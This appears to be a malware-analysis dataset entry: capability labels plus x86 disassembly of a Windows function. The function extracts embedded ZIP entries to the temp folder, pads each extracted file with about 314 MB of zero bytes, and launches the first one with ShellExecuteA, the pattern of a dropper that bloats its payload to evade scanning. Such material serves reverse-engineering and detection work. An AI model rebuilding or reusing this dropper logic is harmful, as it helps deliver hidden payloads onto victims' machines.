Function at 0x836bc4
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
mov byte [ebp - 0x59], 0
mov dword [ebp - 0x18], 0x12c00000
lea eax, [ebp - 0x15d]
mov dword [esp + 4], eax
mov dword [esp], 0x104
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathA]
call eax
sub esp, 8
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x836c18
mov dword [esp], str.Failed_to_get_temp_path
call sym._perror
mov eax, 1
jmp 0x837106
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x10], 0
mov eax, dword [0x8c8fd8]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x836c8d
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x27
mov dword [esp + 4], 1
mov dword [esp], str.Failed_to_allocate_memory_for_ZIP_data_n
call sym._fwrite
mov eax, 1
jmp 0x837106
mov eax, dword [0xe1b6e0]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xb9d8c0
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [0xd06a08]
mov ecx, dword [0xe1b6e0]
mov edx, dword [ebp - 0x28]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], 0xbb2140
mov dword [esp], edx
call sym._memcpy
mov eax, dword [0xa08fe4]
mov ecx, dword [0xe1b6e0]
mov edx, dword [0xd06a08]
add ecx, edx
mov edx, dword [ebp - 0x28]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], 0xb09020
mov dword [esp], edx
call sym._memcpy
mov eax, dword [0xc869e4]
mov ecx, dword [0xe1b6e0]
mov edx, dword [0xd06a08]
add ecx, edx
mov edx, dword [0xa08fe4]
add ecx, edx
mov edx, dword [ebp - 0x28]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], 0xd46a40
mov dword [esp], edx
call sym._memcpy
mov eax, dword [0xd06a0c]
mov ecx, dword [0xe1b6e0]
mov edx, dword [0xd06a08]
add ecx, edx
mov edx, dword [0xa08fe4]
add ecx, edx
mov edx, dword [0xc869e4]
add ecx, edx
mov edx, dword [ebp - 0x28]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], 0xf1b720
mov dword [esp], edx
call sym._memcpy
mov eax, dword [0x8c8fd8]
mov dword [esp + 0xc], 0x72
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._zip_stream_open
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x836dac
mov dword [esp], str.Failed_to_open_zip_stream
call sym._perror
mov eax, 0xffffffff
jmp 0x837106
mov dword [ebp - 0xc], 0
jmp 0x8370a8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0xd06a10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._zip_entry_open
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jns 0x836dfb
mov dword [esp], str.Failed_to_open_zip_entry
call sym._perror
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x837106
lea eax, [ebp - 0x168]
mov dword [esp + 8], eax
lea eax, [ebp - 0x164]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._zip_entry_read
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jns 0x836e4f
mov dword [esp], str.Failed_to_read_zip_entry
call sym._perror
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._zip_entry_close
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x837106
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._zip_entry_close
lea eax, [ebp - 0x15d]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0xd06a10]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
add eax, edx
add eax, 2
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x836ed1
mov dword [esp], str.Failed_to_allocate_memory
call sym._perror
mov eax, dword [ebp - 0x164]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x837106
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0xd06a10]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x15d]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._sprintf
cmp dword [ebp - 0xc], 0
jne 0x836f79
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x836f67
mov dword [esp], str.Failed_to_allocate_memory
call sym._perror
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x164]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x837106
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], 0x882c3e
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jne 0x836fcf
mov dword [esp], str.Error_opening_file
call sym._perror
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x164]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x837106
mov edx, dword [ebp - 0x168]
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x50]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], 1
mov dword [esp], eax
call sym._fwrite
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x168]
cmp dword [ebp - 0x54], eax
je 0x837049
mov dword [esp], str.Error_writing_to_file
call sym._perror
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x164]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x837106
mov dword [ebp - 0x14], 0
jmp 0x837078
mov eax, dword [ebp - 0x50]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 1
lea eax, [ebp - 0x59]
mov dword [esp], eax
call sym._fwrite
add dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x18]
jb 0x837052
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x164]
mov dword [esp], eax
call sym._free
add dword [ebp - 0xc], 1
mov edx, dword [ebp - 0xc]
mov eax, dword [0xc869e8]
cmp edx, eax
jb 0x836db8
cmp dword [ebp - 0x10], 0
je 0x837101
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._free
mov eax, 0
leave
ret